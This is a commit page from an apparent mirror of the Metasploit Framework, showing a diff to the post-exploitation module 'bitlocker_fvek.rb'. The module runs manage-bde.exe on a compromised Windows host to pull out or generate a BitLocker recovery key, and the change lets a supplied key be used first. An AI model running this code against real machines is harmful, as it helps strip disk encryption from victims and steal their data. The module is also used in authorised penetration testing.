infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

if recovery_key specified, only method that is tried

bug/bundler_fix
BAZIN-HSC 2015-11-12 19:20:45 +01:00
parent f49d6905a6
commit dd027982ae
1 changed files with 19 additions and 19 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

38
modules/post/windows/gather/bitlocker_fvek.rb
View File

@ -68,32 +68,32 @@ class Metasploit3 < Msf::Post
print_good("Successfuly opened Disk #{drive_number}")
seek_relative_volume(0)
print_status('Trying to gather a recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
"-protectors -get #{drive_letter}:")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
print_good("Recovery key found : #{recovery_key}")
if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
recovery_key = datastore['RECOVERY_KEY']
else
print_status('No recovery key found, trying to generate a new recovery key')
print_status('Trying to gather a recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
"-protectors -add #{drive_letter}: -RecoveryPassword")
"-protectors -get #{drive_letter}:")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
id_key_tmp = id_key_tmp[1]
print_good("Recovery key generated successfuly : #{recovery_key}")
print_good("Recovery key found : #{recovery_key}")
else
print_status('Recovery Key generation failed')
if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
recovery_key = datastore['RECOVERY_KEY']
print_status('No recovery key found, trying to generate a new recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
"-protectors -add #{drive_letter}: -RecoveryPassword")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
id_key_tmp = id_key_tmp[1]
print_good("Recovery key generated successfuly : #{recovery_key}")
else
print_status('Recovery Key generation failed')
print_status('No recovery key can be used')
return
end